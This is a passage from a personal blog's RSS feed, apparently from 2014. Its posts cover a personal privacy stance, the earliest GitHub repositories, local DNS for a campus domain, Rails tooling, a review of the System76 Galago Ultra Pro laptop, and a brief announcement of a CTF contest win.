</ol>

<p>In reference to (1) above, I recently setup Google Inactive Accounts, and have to commend Google on the execution of the concept. Be sure to check it out at <a href="https://www.google.com/settings/account/inactive">https://www.google.com/settings/account/inactive</a>.</p>

<h2 id="disadvantages">Disadvantages</h2>
<p>This lifestyle choice is not without its comebacks. Stalking me, for example, is very easy. So is probably impersonating me as well. However, these are risks I’m willing to take in order to lead a public life.</p>

<h2 id="exceptions">Exceptions</h2>
<p>By now you might be thinking of me as a pro-facebook share-everything kind of guy. But that’s not completely true. I do have clear limits on what counts as public and what does not. I value my privacy (and that of those close to me) very dearly.</p>

<p>For instance, I count my photographs as something very private. I almost never post public updates anywhere with my picture in it. Perhaps its because I never had any phone with decent camera. Whatever the reason, I try really hard to keep my pictures off the internet.</p>

<p>Another related issue is when the update would involve someone beside me. For example, my sister was recently engaged and I didn’t go on a social update spree telling the whole world about it, because I value her privacy.</p>

<p>My simple rule of thumb is to ask for permission, rather than beg for forgiveness as a person’s privacy is far more important.</p>

]]></content:encoded>
            <author>Nemo</author>
        </item>
        <item>
            <title><![CDATA[What was the first project on GitHub?]]></title>
            <link>https://captnemo.in/blog/2014/08/02/first-project-on-github/</link>
            <guid isPermaLink="false">https://captnemo.in/blog/2014/08/02/first-project-on-github/</guid>
            <pubDate>Sat, 02 Aug 2014 00:00:00 GMT</pubDate>
            <description><![CDATA[Note: This is cross-posted from Quora where I wrote this answer initially.
The first project on GitHub was grit. How do I know this? Just some clever use of the search and API.
Here’s a GitHub search to see the first 10 projects that were created on GitHub. The search uses the created keyword, and searches for projects created before 15 Jan 2008.
They are (in order of creation) (numeric id of repo in brackets):
mojombo/grit (1)
    
Grit gives you object oriented read/write access to Git repositories via Ruby.
Deprecated in favor of libgit2/rugged
wycats/merb-core (26)
    
Merb Core: All you need. None you don’t.
Merb was an early ruby framework that was merged to Rails
No longer maintained.
rubinius/rubinius (27)
    
Rubinius, the Ruby Environment
Still under active development
mojombo/god (28)
    
God is an easy to configure, easy to extend monitoring framework written in Ruby.
Still actively maintained, and use by GitHub internally as well, I think
vanpelt/jsawesome(29)
    
JSAwesome provides a powerful JSON based DSL for creating interactive forms.
Its last update was in 2008
wycats/jspec (31)
    
A JavaScript BDD Testing Library
No longer maintained
defunkt/exception_logger (35)
    
The Exception Logger logs your Rails exceptions in the database and provides a funky web interface to manage them.
No longer maintained>
defunkt/ambition (36)
technoweenie/restful-authentication (42)
    
Generates common user authentication code for Rails/Merb, with a full test/unit and rspec suite and optional Acts as State Machine support built-in.Maintained till Aug 2011
technoweenie/attachment_fu (43)
    
Treat an ActiveRecord model as a file attachment, storing its patch, size, content type, etc.
I’m sure the id from 2-25 would be taken up by many of the internal GitHub projects, such as github/github. To get the numeric id of a repo, visit https://api.github.com/repos/mojombo/grit and change the URL accordingly.]]></description>
            <content:encoded><![CDATA[<p><strong>Note</strong>: This is cross-posted from <a href="https://qr.ae/CW76f">Quora</a> where I wrote this answer initially.</p>

<p>The first project on GitHub was <strong>grit</strong>. How do I know this? Just some clever use of the search and API.</p>

<p><a href="https://github.com/search?q=created%3A%3C2008-01-15&amp;type=Repositories&amp;ref=searchresults">Here’s a GitHub search</a> to see the first 10 projects that were created on GitHub. The search uses the <code class="language-plaintext highlighter-rouge">created</code> keyword, and searches for projects created before 15 Jan 2008.</p>

<p>They are (in order of creation) (numeric id of repo in brackets):</p>

<ol>
  <li><a href="https://github.com/mojombo/grit">mojombo/grit</a> (1)
    <blockquote>
      <p>Grit gives you object oriented read/write access to Git repositories via Ruby.
Deprecated in favor of libgit2/rugged</p>
    </blockquote>
  </li>
  <li><a href="https://github.com/wycats/merb-core">wycats/merb-core</a> (26)
    <blockquote>
      <p>Merb Core: All you need. None you don’t.
Merb was an early ruby framework that was merged to Rails
No longer maintained.</p>
    </blockquote>
  </li>
  <li><a href="https://github.com/rubinius/rubinius">rubinius/rubinius</a> (27)
    <blockquote>
      <p>Rubinius, the Ruby Environment
Still under active development</p>
    </blockquote>
  </li>
  <li><a href="https://github.com/mojombo/god">mojombo/god</a> (28)
    <blockquote>
      <p>God is an easy to configure, easy to extend monitoring framework written in Ruby.
Still actively maintained, and use by GitHub internally as well, I think</p>
    </blockquote>
  </li>
  <li><a href="https://github.com/vanpelt/jsawesome">vanpelt/jsawesome</a>(29)
    <blockquote>
      <p>JSAwesome provides a powerful JSON based DSL for creating interactive forms.
Its last update was in 2008</p>
    </blockquote>
  </li>
  <li><a href="https://github.com/wycats/jspec">wycats/jspec</a> (31)
    <blockquote>
      <p>A JavaScript BDD Testing Library
No longer maintained</p>
    </blockquote>
  </li>
  <li><a href="https://github.com/defunkt/exception_logger">defunkt/exception_logger</a> (35)
    <blockquote>
      <p>The Exception Logger logs your Rails exceptions in the database and provides a funky web interface to manage them.
No longer maintained&gt;</p>
    </blockquote>
  </li>
  <li><a href="https://github.com/defunkt/ambition">defunkt/ambition</a> (36)</li>
  <li><a href="https://github.com/technoweenie/restful-authentication">technoweenie/restful-authentication</a> (42)
    <blockquote>
      <p>Generates common user authentication code for Rails/Merb, with a full test/unit and rspec suite and optional Acts as State Machine support built-in.Maintained till Aug 2011</p>
    </blockquote>
  </li>
  <li><a href="https://github.com/technoweenie/attachment_fu">technoweenie/attachment_fu</a> (43)
    <blockquote>
      <p>Treat an ActiveRecord model as a file attachment, storing its patch, size, content type, etc.</p>
    </blockquote>
  </li>
</ol>

<p>I’m sure the id from 2-25 would be taken up by many of the internal GitHub projects, such as github/github. To get the numeric id of a repo, visit <a href="https://api.github.com/repos/mojombo/grit">https://api.github.com/repos/mojombo/grit</a> and change the URL accordingly.</p>
]]></content:encoded>
            <author>Nemo</author>
        </item>
        <item>
            <title><![CDATA[How does the sdslabs.co.in domain name work?]]></title>
            <link>https://captnemo.in/blog/2014/07/27/how-does-sdslabs-co-in-work/</link>
            <guid isPermaLink="false">https://captnemo.in/blog/2014/07/27/how-does-sdslabs-co-in-work/</guid>
            <pubDate>Sun, 27 Jul 2014 00:00:00 GMT</pubDate>
            <description><![CDATA[A very common asked question is about our domain name and how does it work locally. When we launched filepanda, and our preliminary homepage a long time ago, we had been using the easy to remember IP address http://192.168.208.208.
Now, however we are using the domain name sdslabs.co.in for all our services, including DC. To understand how this works, you will have to understand how the name resolution of a domain name takes place.
The Domain Name System (DNS) is a hierarchical distributed naming system for computers, services, or any resource connected to the Internet or a private network. It associates various information with domain names assigned to each of the participating entities.
- Wikipedia
DNS is basically a service which resolves domain names to IP addresses. If you own a domain name, you can point it to wherever you want. This is usually done in the administration panel of your hosting services. We have setup multiple domains on our nameserver (mitsu.in as of the moment) to point to the IP address 192.168.208.x.
For instance sdslabs.co.in points to 192.168.208.208, echo.sdslabs.co.in points to 192.168.208.204 and so on. This is done via updating something called A records (this is the part of resolution which transaltes to IPv4 addresses).
The benifits of having such a system in place are enormous:
Users don’t have to remember IP addresses, and can easily remember the site address.
We can move around services, applications over different machines, and it will only take a single update to change the name resolutions
We could add alternative fallback servers easily (by having multiple A record entries) for a domain. We could even use this to point sdslabs.co.in domain to something that is hosted online, for instance.
We can have catchy, and simple to remember urls for eg https://sdslabs.co.in/login, and https://sdslabs.co.in/logout
Also, we are running all our services on https, which is not dependent upon the visibility of the website. Even though the site is hosted locally, the process of certificate signing remains exactly the same as any other site. Once we aquire a SSL certificate and attach it to our web-server, the visibility of the domain does not matter to the browser at all.
Note: For the benifit of those not in IIT Roorkee, we are running multiple web-service on the domain sdslabs.co.in, which is only served locally, as it resolves to a local IP address (192.168.208.208)
Caveat: Several DNS servers wil block RFC1913 responses by default (basically any DNS response in the private IP ranges). This is usually disabled in the intranet scenarios, but something to keep in mind if you’re looking to use this solution.]]></description>
            <content:encoded><![CDATA[<p>A very common asked question is about our domain name and how does it work locally. When we launched <a href="https://blog.sdslabs.co/2010/11/hello-world">filepanda, and our preliminary homepage</a> a long time ago, we had been using the easy to remember IP address <a href="http://192.168.208.208">http://192.168.208.208</a>.</p>

<p>Now, however we are using the domain name sdslabs.co.in for all our services, including <a href="http://dc.sdslabs.co.in">DC</a>. To understand how this works, you will have to understand how the name resolution of a domain name takes place.</p>

<blockquote>
  <p>The Domain Name System (DNS) is a hierarchical distributed naming system for computers, services, or any resource connected to the Internet or a private network. It associates various information with domain names assigned to each of the participating entities.</p>

  <p>- <a href="http://en.wikipedia.org/wiki/Domain_Name_System">Wikipedia</a></p>
</blockquote>

<p>DNS is basically a service which resolves domain names to IP addresses. If you own a domain name, you can point it to wherever you want. This is usually done in the administration panel of your hosting services. We have setup multiple domains on our nameserver (<a href="http://mitsu.in">mitsu.in</a> as of the moment) to point to the IP address 192.168.208.x.</p>

<p>For instance <a href="http://sdslabs.co.in">sdslabs.co.in</a> points to <code class="language-plaintext highlighter-rouge">192.168.208.208</code>, <a href="http://echo.sdslabs.co.in">echo.sdslabs.co.in</a> points to <code class="language-plaintext highlighter-rouge">192.168.208.204</code> and so on. This is done via updating something called <code class="language-plaintext highlighter-rouge">A records</code> (this is the part of resolution which transaltes to IPv4 addresses).</p>

<p>The benifits of having such a system in place are enormous:</p>

<ul>
  <li>Users don’t have to remember IP addresses, and can easily remember the site address.</li>
  <li>We can move around services, applications over different machines, and it will only take a single update to change the name resolutions</li>
  <li>We could add alternative fallback servers easily (by having multiple A record entries) for a domain. We could even use this to point sdslabs.co.in domain to something that is hosted online, for instance.</li>
  <li>We can have catchy, and simple to remember urls for eg <a href="https://sdslabs.co.in/login">https://sdslabs.co.in/login</a>, and <a href="https://sdslabs.co.in/logout">https://sdslabs.co.in/logout</a></li>
</ul>

<p>Also, we are running all our services on https, which <em>is not dependent upon the visibility of the website</em>. Even though the site is hosted locally, the process of certificate signing remains exactly the same as any other site. Once we aquire a SSL certificate and attach it to our web-server, the visibility of the domain does not matter to the browser at all.</p>

<p>Note: For the benifit of those not in IIT Roorkee, we are running multiple web-service on the domain sdslabs.co.in, which is only served locally, as it resolves to a local IP address (192.168.208.208)</p>

<p><strong>Caveat</strong>: Several DNS servers wil block RFC1913 responses by default (basically any DNS response in the private IP ranges). This is usually disabled in the intranet scenarios, but something to keep in mind if you’re looking to use this solution.</p>
]]></content:encoded>
            <author>Nemo</author>
        </item>
        <item>
            <title><![CDATA[Coming back to rails]]></title>
            <link>https://captnemo.in/blog/2014/07/11/back-to-rails/</link>
            <guid isPermaLink="false">https://captnemo.in/blog/2014/07/11/back-to-rails/</guid>
            <pubDate>Fri, 11 Jul 2014 00:00:00 GMT</pubDate>
            <description><![CDATA[I’ve 
worked with rails previously before
, but that was a long time back
and even though I’ve continued to dabble with it, 
I’d never built anything complete or large enough with it. This time,
however, I’m working on an actual large-scale application with all the 
nuts-and-bolts that make rails such a pleasure to work with. Since
I’m coming back to rails after such a long time, I thought I’d document
some of the cool new features that I’ve found in rails this time around.
Spring
One of the major discomforts of working with rails on the
command line was that it is heavy and slow. Spring works behind
the scenes on the second issue, namely speed. Here’s how the
project’s README describes itself:
Spring is a Rails application preloader. It speeds up development 
by keeping your application running in the background so you don’t 
need to boot it every time you run a test, rake task or migration.
You can update all the binaries in your PROJECT_ROOT/bin/ directory
(which include rails, bundle and rake) to make use of spring
by executing the following command:

bundle exec spring binstub --all


Any further execs (such as ./bin/rake -T) will make use of
the spring pre-loader leading to much faster startup times. You can even
use spring against the default system binaries by prefixing the commands
with spring, such as spring rake -T.
Resque-Scheduler
I needed a job queue for background tasks and polling API
services, and what better tool to use than resque. I’m using it in combination
with  resque-scheduler for
running tasks on cron. How it works is that in addition to your main rails
server and a long running resque job process, a separate resque-scheduler
rake task is kept running, which loads up the schedule and inserts
tasks accordingly into the resque queue as per the schedule.
For those new to resque in general, you can start the two processes by:
QUEUE=* rake environment resque:work #To start resque
rake resque:scheduler


Note that we are pre-loading the rails environment in the resque:work task as
it will load rails for you across all of your tasks. Also note that you
will need the following two lines in your Rakefile to get these tasks to run:
require 'resque/tasks'
require 'resque/scheduler/tasks'


Also remember to define the resque:setup task according to the 
resque-scheduler README, which would load the schedule and config as needed.
This blog post is a work-in-progress and I will continue to update it with
bits of rails-foo as I learn more.
Rake-notes
I’d never tried using notes before, and as it turns out, using rake:notes
is easy and super-awesome. Its allows you to spread your notes about TODOs, FIXMEs and such throughout your codebase and take a bird-eye’s look at them with just a single command.
Read more about it at http://siong1987.com/posts/powerful-and-hidden-rake-notes-in-rails/]]></description>
            <content:encoded><![CDATA[<p>I’ve 
<a href="https://captnemo.in/blog/2011/08/01/learning-ruby-on-rails/">worked with rails previously before</a>
, but that was a long time back
and even though I’ve continued to dabble with it, 
I’d never built anything complete or large enough with it. This time,
however, I’m working on an actual large-scale application with all the 
nuts-and-bolts that make rails such a pleasure to work with. Since
I’m coming back to rails after such a long time, I thought I’d document
some of the cool new features that I’ve found in rails this time around.</p>

<h2 id="spring">Spring</h2>

<p>One of the major discomforts of working with rails on the
command line was that it is <em>heavy</em> and <em>slow</em>. Spring works behind
the scenes on the second issue, namely speed. Here’s how the
project’s README describes itself:</p>

<blockquote>
  <p>Spring is a Rails application preloader. It speeds up development 
by keeping your application running in the background so you don’t 
need to boot it every time you run a test, rake task or migration.</p>
</blockquote>

<p>You can update all the binaries in your <code class="language-plaintext highlighter-rouge">PROJECT_ROOT/bin/</code> directory
(which include <code class="language-plaintext highlighter-rouge">rails</code>, <code class="language-plaintext highlighter-rouge">bundle</code> and <code class="language-plaintext highlighter-rouge">rake</code>) to make use of spring
by executing the following command:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>bundle exec spring binstub --all
</code></pre></div></div>

<p>Any further execs (such as <code class="language-plaintext highlighter-rouge">./bin/rake -T</code>) will make use of
the spring pre-loader leading to much faster startup times. You can even
use spring against the default system binaries by prefixing the commands
with <code class="language-plaintext highlighter-rouge">spring</code>, such as <code class="language-plaintext highlighter-rouge">spring rake -T</code>.</p>

<h2 id="resque-scheduler">Resque-Scheduler</h2>

<p>I needed a job queue for background tasks and polling API
services, and what better tool to use than resque. I’m using it in combination
with  <a href="https://github.com/resque/resque-scheduler">resque-scheduler</a> for
running tasks on cron. How it works is that in addition to your main rails
server and a long running resque job process, a separate resque-scheduler
rake task is kept running, which loads up the schedule and inserts
tasks accordingly into the resque queue as per the schedule.</p>

<p>For those new to resque in general, you can start the two processes by:</p>

<figure class="highlight"><pre><code class="language-sh" data-lang="sh"><span class="nv">QUEUE</span><span class="o">=</span><span class="k">*</span> rake environment resque:work <span class="c">#To start resque</span>
rake resque:scheduler</code></pre></figure>

<p>Note that we are pre-loading the rails environment in the resque:work task as
it will load rails for you across all of your tasks. Also note that you
will need the following two lines in your <code class="language-plaintext highlighter-rouge">Rakefile</code> to get these tasks to run:</p>

<figure class="highlight"><pre><code class="language-ruby" data-lang="ruby"><span class="nb">require</span> <span class="s1">'resque/tasks'</span>
<span class="nb">require</span> <span class="s1">'resque/scheduler/tasks'</span></code></pre></figure>

<p>Also remember to define the <code class="language-plaintext highlighter-rouge">resque:setup</code> task according to the 
<code class="language-plaintext highlighter-rouge">resque-scheduler</code> README, which would load the schedule and config as needed.</p>

<p>This blog post is a work-in-progress and I will continue to update it with
bits of rails-foo as I learn more.</p>

<h2 id="rake-notes">Rake-notes</h2>

<p>I’d never tried using notes before, and as it turns out, using <code class="language-plaintext highlighter-rouge">rake:notes</code>
is easy and super-awesome. Its allows you to spread your notes about TODOs, FIXMEs and such throughout your codebase and take a bird-eye’s look at them with just a single command.</p>

<p>Read more about it at <a href="http://siong1987.com/posts/powerful-and-hidden-rake-notes-in-rails/">http://siong1987.com/posts/powerful-and-hidden-rake-notes-in-rails/</a></p>
]]></content:encoded>
            <author>Nemo</author>
        </item>
        <item>
            <title><![CDATA[A month with the System76 Galago Ultra Pro]]></title>
            <link>https://captnemo.in/blog/2014/07/04/galago-ultra-pro-review/</link>
            <guid isPermaLink="false">https://captnemo.in/blog/2014/07/04/galago-ultra-pro-review/</guid>
            <pubDate>Fri, 04 Jul 2014 00:00:00 GMT</pubDate>
            <description><![CDATA[With my recent CCTC Winnings, I decided to purchase a new laptop as my old Dell Inspiron was not performing up to the mark. Being of a time before the Intel i-series launch, it was also severely lacking in several features, most notably virtualization support, which is badly needed these days.
After taking a thorough look at the various offerings in the market (and being disappointed by most of them), I decided to go with the [System Galago Ultra Pro][galago] for the following reasons:
Linux Support (Just Ubuntu actually, but its nice to have a laptop that supports and comes with Linux pre-installed).
Intel HD 5200 Graphic Card. Even though the nVidia/ATI support has been getting better in Linux these days, I wanted a graphic card that I could use without worry, for both playing games, using webGL without having to worry about things like overheating and switching card modes (optimus/bumblebee and whatnot).
Haswell. Not many manufacturers are currently offering Haswell lineups, and System76 is one of the few with them in the market.
The other few machines I did consider included the Apple MBP, Lenovo Ideapad, Dell Sputnik 13. The MBP was rejected because I wanted a Linux machine, and it was overly costly; the Ideapad had a touch screen, which I abhor; and finally the Sputnik is too expensive as well.
A few other machines were rejected because I was exclusively looking for a 14-inch screen, due in part to my experience with my previous bulky machine.
Hardware Review
The build quality of the Galago is above average, but its still a flimsy offering, when compared to the MBP or other business class offerings such as the Vostro. A lot of the Galago reviews on the internet talk about the defective keyboards, but I faced no such issues. It seems to have been fixed, and the keyboard has been iterated several times since, I think.
The IPS screen (1920x1080) is a real gem, and I’ve gotten used to watching everything in full HD these days. The laptop has 2 small fans on the lower side, and they hardly ever kick in, making it a quiet laptop. The only times it heats up much is when I’m playing demanding games or doing something GPU intensive. A few issues that I’ve actually faced with it include:
The Esc key not responding to all presses. I have to hit it with a slightly extra pressure for each keypress to register. However, this is just a quirk I’ve come to accept, and work around. My muscle memory soon overtook and I’m now used to pressing it hard.
Missing Media keys. It does have the usual Mute, Volume, and the Play/Pause keys, but the next/previous media keys are missing on the keyboard.
The charger getting heated up (a lot). It even heats up when the charger is not connected to the laptop.
The inbuilt speaker quality is definitely not above average. I usually use my earphones with it, so its not much trouble to me anyway.
The “clickpad” becomes a “touchpad” in Windows, which means drag-drop becomes extremely uncomfortable if you’re not used to it. I’ve installed the official touchpad drivers in Windows from knowledge76, but I could not find a setting to use “clicks” instead of “touch”.
As an aside, I really like the keyboard layout (I don’t like numeric keypads much) and the placement of Del-End keys, which is incidentally same as my previous laptop. I really dislike those layouts where you have to press a combination of Fn+Some key just to trigger Page Up/Down. A note to laptop manufacturers : Please stop messing with the keyboards.
Having a branded Ubuntu key is also a good show-off at some places :) I also have to mention that the laptop is very silent. The fans rarely kick in, and I have faced no heating issues so far.
Software Side
Despite being built for Linux, I’ve still faced a few software issues on Linux. None of these are a deal-breaker though for me. The first time I realized that it wasn’t really built for Linux was when I booted using my external to Ubuntu 12.04 and the WiFi didn’t work. Apparently you need a combination of System 76 custom (though open-source) drivers and 14.04 on this machine to get the drivers to work. This is one of the reasons I haven’t downgraded to Elementary Luna (which is based on Ubuntu 12.04). The issues I’ve faced (along with my workarounds) include:
Flash not working on Google Chrome Stable. I talked to System76 support over this, and I’m yet to get it working. As a workaround, I’ve been using Google Chrome Unstable (which I usually use anyway), and it detects flash fine.
WebGL support in Chrome is a bit sketchy. Chrome stable doesn’t detect the graphic card as supported, while the Chrome Unstable version did detect it as working for a while, but the graphic card was either removed from the whitelist, or added to the blacklist in a future update, making it non-working again. Currently, I’m using the “Disable WebGL Blacklist” flag from chrome://flags to get it working.
Webcam not being detected. This has gotten me a bit puzzled. It was working fine on the fresh Ubuntu 14.04 setup, but some driver issue is preventing it from working now. I think a dist-upgrade should fix it, but I’m not sure. I might try to re-install the system76-driver package if that doesn’t work. Update: It started working again after just a restart.
Another minor issue I face is that the brightness key on the keyboard (Fn+F8/F9) allows you to take the brightness level all the way down to zero. So you could make your screen pitch-black, with absolutely no idea how to get it back to normal. This happens only on ubuntu, though.
Overall
Despite its few quirks, I’m liking my new laptop. I’m enjoying gaming on it (on both Linux and Windows), and it has more than enough power to run whatever combination of VMs I want to.
Gaming
All the Linux games from my various Humble Bundle purchases are finally being put to good use. The only game that I haven’t been able to run is Oilrush, which doesn’t support Intel Graphic cards on Linux for some reason. Some of the games that I’ve tried and enjoy on Linux include:
Mark of the ninja
The Swapper
Don’t Starve
Fez
Bit Trip Runner 2
Counter Strike: Source
Portal
Half-Life 2
Civilization 5
Trine 2
Minecraft
Trine 2 does show some noticable lag on full settings, but its not supported on Intel drivers anyway. Rest of the games run wonderfully on full settings.
I haven’t tried gaming much on Windows, but I do play Blur (admittedly a 3 year old game) sometimes on it at the highest settings.
Specs
The only thing I upgraded in my laptop was an increase in RAM from the default of 4GB to 8GB, primarily because I intend to run lots of VMs on this machine. The rest is same as the specs on the official site (scroll to bottom):

Processor: Intel(R) Core(TM) i7-4750HQ CPU @ 2.00GHz
RAM: Samsung, SODIMM DDR3 Synchronous 1600 MHz (0.6 ns), M471B5173QH0-YK0 (4GiB) x2
Graphic Card: Intel Iris Pro Graphics 5200 with 128 MB eDRAM, Crystal Well Integrated Graphics Controller
Hard Disk:  Western Digital, WDC WD5000LPVX-2, 500GB (465GiB)
Memory: 8GB 204 pin Dual Channel DDR3 @ 1600 MHz (2x4GB)
Intel ME Version: 9.0.20.1447


If you’re interested in getting any further details about the laptop, feel free to contact me.]]></description>
            <content:encoded><![CDATA[<p>With my recent <a href="https://captnemo.in/blog/2014/06/03/cctc-wave-3/">CCTC Winnings</a>, I decided to purchase a new laptop as my old Dell Inspiron was not performing up to the mark. Being of a time before the Intel i-series launch, it was also severely lacking in several features, most notably virtualization support, which is badly needed these days.</p>

<p>After taking a thorough look at the various offerings in the market (and being disappointed by most of them), I decided to go with the [System Galago Ultra Pro][galago] for the following reasons:</p>

<ul>
  <li>Linux Support (Just Ubuntu actually, but its nice to have a laptop that supports and comes with Linux pre-installed).</li>
  <li>Intel HD 5200 Graphic Card. Even though the nVidia/ATI support has been getting better in Linux these days, I wanted a graphic card that I could use without worry, for both playing games, using webGL without having to worry about things like overheating and switching card modes (optimus/bumblebee and whatnot).</li>
  <li>Haswell. Not many manufacturers are currently offering Haswell lineups, and System76 is one of the few with them in the market.</li>
</ul>

<p>The other few machines I did consider included the Apple MBP, Lenovo Ideapad, Dell Sputnik 13. The MBP was rejected because I wanted a Linux machine, and it was overly costly; the Ideapad had a touch screen, which I abhor; and finally the Sputnik is too expensive as well.</p>

<p>A few other machines were rejected because I was exclusively looking for a 14-inch screen, due in part to my experience with my previous bulky machine.</p>

<h2 id="hardware-review">Hardware Review</h2>
<p>The build quality of the Galago is above average, but its still a flimsy offering, when compared to the MBP or other business class offerings such as the Vostro. A lot of the Galago reviews on the internet talk about the defective keyboards, but I faced no such issues. It seems to have been fixed, and the keyboard has been iterated several times since, I think.</p>

<p>The IPS screen (1920x1080) is a real gem, and I’ve gotten used to watching everything in full HD these days. The laptop has 2 small fans on the lower side, and they hardly ever kick in, making it a quiet laptop. The only times it heats up much is when I’m playing demanding games or doing something GPU intensive. A few issues that I’ve actually faced with it include:</p>

<ul>
  <li>The <code class="language-plaintext highlighter-rouge">Esc</code> key not responding to all presses. I have to hit it with a slightly extra pressure for each keypress to register. However, this is just a quirk I’ve come to accept, and work around. My muscle memory soon overtook and I’m now used to pressing it hard.</li>
  <li>Missing Media keys. It does have the usual Mute, Volume, and the Play/Pause keys, but the next/previous media keys are missing on the keyboard.</li>
  <li>The charger getting heated up (a lot). It even heats up when the charger is not connected to the laptop.</li>
  <li>The inbuilt speaker quality is definitely not above average. I usually use my earphones with it, so its not much trouble to me anyway.</li>
  <li>The “clickpad” becomes a “touchpad” in Windows, which means drag-drop becomes extremely uncomfortable if you’re not used to it. I’ve installed the official touchpad drivers in Windows from knowledge76, but I could not find a setting to use “clicks” instead of “touch”.</li>
</ul>

<p>As an aside, I really like the keyboard layout (I don’t like numeric keypads much) and the placement of Del-End keys, which is incidentally same as my previous laptop. I really dislike those layouts where you have to press a combination of Fn+Some key just to trigger Page Up/Down. A note to laptop manufacturers : <a href="http://arstechnica.com/staff/2014/01/stop-trying-to-innovate-keyboards-youre-just-making-them-worse/">Please stop messing with the keyboards</a>.</p>

<p>Having a branded Ubuntu key is also a good show-off at some places :) I also have to mention that the laptop is very silent. The fans rarely kick in, and I have faced no heating issues so far.</p>

<h2 id="software-side">Software Side</h2>
<p>Despite being built for Linux, I’ve still faced a few software issues on Linux. None of these are a deal-breaker though for me. The first time I realized that it wasn’t really built for Linux was when I booted using my external to Ubuntu 12.04 and the WiFi didn’t work. Apparently you need a combination of System 76 custom (though open-source) drivers and 14.04 on this machine to get the drivers to work. This is one of the reasons I haven’t downgraded to Elementary Luna (which is based on Ubuntu 12.04). The issues I’ve faced (along with my workarounds) include:</p>

<ul>
  <li>Flash not working on Google Chrome Stable. I talked to System76 support over this, and I’m yet to get it working. As a workaround, I’ve been using Google Chrome Unstable (which I usually use anyway), and it detects flash fine.</li>
  <li>WebGL support in Chrome is a bit sketchy. Chrome stable doesn’t detect the graphic card as supported, while the Chrome Unstable version did detect it as working for a while, but the graphic card was either removed from the whitelist, or added to the blacklist in a future update, making it non-working again. Currently, I’m using the “Disable WebGL Blacklist” flag from <code class="language-plaintext highlighter-rouge">chrome://flags</code> to get it working.</li>
  <li>Webcam not being detected. This has gotten me a bit puzzled. It was working fine on the fresh Ubuntu 14.04 setup, but some driver issue is preventing it from working now. I think a dist-upgrade should fix it, but I’m not sure. I might try to re-install the <code class="language-plaintext highlighter-rouge">system76-driver</code> package if that doesn’t work. <strong>Update</strong>: It started working again after just a restart.</li>
  <li>Another minor issue I face is that the brightness key on the keyboard (Fn+F8/F9) allows you to take the brightness level all the way down to <em>zero</em>. So you could make your screen pitch-black, with absolutely no idea how to get it back to normal. This happens only on ubuntu, though.</li>
</ul>

<h2 id="overall">Overall</h2>
<p>Despite its few quirks, I’m liking my new laptop. I’m enjoying gaming on it (on both Linux and Windows), and it has more than enough power to run whatever combination of VMs I want to.</p>

<h2 id="gaming">Gaming</h2>
<p>All the Linux games from my various Humble Bundle purchases are finally being put to good use. The only game that I haven’t been able to run is Oilrush, which doesn’t support Intel Graphic cards on Linux for some reason. Some of the games that I’ve tried and enjoy on Linux include:</p>

<ul>
  <li>Mark of the ninja</li>
  <li>The Swapper</li>
  <li>Don’t Starve</li>
  <li>Fez</li>
  <li>Bit Trip Runner 2</li>
  <li>Counter Strike: Source</li>
  <li>Portal</li>
  <li>Half-Life 2</li>
  <li>Civilization 5</li>
  <li>Trine 2</li>
  <li>Minecraft</li>
</ul>

<p>Trine 2 does show some noticable lag on full settings, but its not supported on Intel drivers anyway. Rest of the games run wonderfully on full settings.</p>

<p>I haven’t tried gaming much on Windows, but I do play Blur (admittedly a 3 year old game) sometimes on it at the highest settings.</p>

<h2 id="specs">Specs</h2>
<p>The only thing I upgraded in my laptop was an increase in RAM from the default of 4GB to 8GB, primarily because I intend to run lots of VMs on this machine. The rest is same as the specs <a href="https://system76.com/laptops/model/galu1">on the official site</a> (scroll to bottom):</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Processor: Intel(R) Core(TM) i7-4750HQ CPU @ 2.00GHz
RAM: Samsung, SODIMM DDR3 Synchronous 1600 MHz (0.6 ns), M471B5173QH0-YK0 (4GiB) x2
Graphic Card: Intel Iris Pro Graphics 5200 with 128 MB eDRAM, Crystal Well Integrated Graphics Controller
Hard Disk:  Western Digital, WDC WD5000LPVX-2, 500GB (465GiB)
Memory: 8GB 204 pin Dual Channel DDR3 @ 1600 MHz (2x4GB)
Intel ME Version: 9.0.20.1447
</code></pre></div></div>

<p>If you’re interested in getting any further details about the laptop, feel free to <a href="https://captnemo.in/contact/">contact</a> me.</p>
]]></content:encoded>
            <author>Nemo</author>
        </item>
        <item>
            <title><![CDATA[Deloitte CCTC Wave III]]></title>
            <link>https://captnemo.in/blog/2014/06/03/cctc-wave-3/</link>
            <guid isPermaLink="false">https://captnemo.in/blog/2014/06/03/cctc-wave-3/</guid>
            <pubDate>Tue, 03 Jun 2014 00:00:00 GMT</pubDate>
            <description><![CDATA[I was winner of the Deloitte CCTC Wave I, and a finalist for the Wave II.
It was natural I was participating this year as well. While the first year
involved a simple penetration test as the first round, and it was an abstract
submission in Wave II; this time it was a closed jeopardy-style CTF contest
between different teams from various colleges.
There were altogether more than 30 teams participating in the CTF. I was lucky
to have teammates like Abhishek Das(CCTC Wave II Winner) and Ravi Kishore
who endured through several challenges when I gave up.
We’ve published all challenges over on GitHub along with writeups and problems
being made available wherever we can.
The challenges ranged from very easy to difficult to absurd trivia. We topped
the round with the most number of points across the board, making sure we got
the +30 bonus for solving first on all but 2 challenges out of 13.
We’ll be leaving for Hyderabad for the finals in the first week of April. Wish us
luck, will you.
Update: We won the final event at Hyderabad as well. More details (and a pic) on our blog post on SDSLabs here.]]></description>
            <content:encoded><![CDATA[<p>I was winner of the Deloitte CCTC Wave I, and a finalist for the Wave II.
It was natural I was participating this year as well. While the first year
involved a simple penetration test as the first round, and it was an abstract
submission in Wave II; this time it was a closed jeopardy-style CTF contest
between different teams from various colleges.</p>

<p>There were altogether more than 30 teams participating in the CTF. I was lucky
to have teammates like <a href="http://abhishekdas.com/">Abhishek Das</a>(CCTC Wave II Winner) and <a href="http://rkravi.com/">Ravi Kishore</a>
who endured through several challenges when I gave up.</p>

<p>We’ve published all challenges over on <a href="https://github.com/captn3m0/cctc3-solutions">GitHub</a> along with writeups and problems
being made available wherever we can.</p>

<p>The challenges ranged from very easy to difficult to absurd trivia. We topped
the round with the most number of points across the board, making sure we got
the +30 bonus for solving first on all but 2 challenges out of 13.</p>

<p>We’ll be leaving for Hyderabad for the finals in the first week of April. Wish us
luck, will you.</p>

<p><strong>Update</strong>: We won the final event at Hyderabad as well. More details (and a pic) on our blog post on SDSLabs <a href="https://blog.sdslabs.co/2014/05/deloitte-cctc">here</a>.</p>

]]></content:encoded>
            <author>Nemo</author>
        </item>
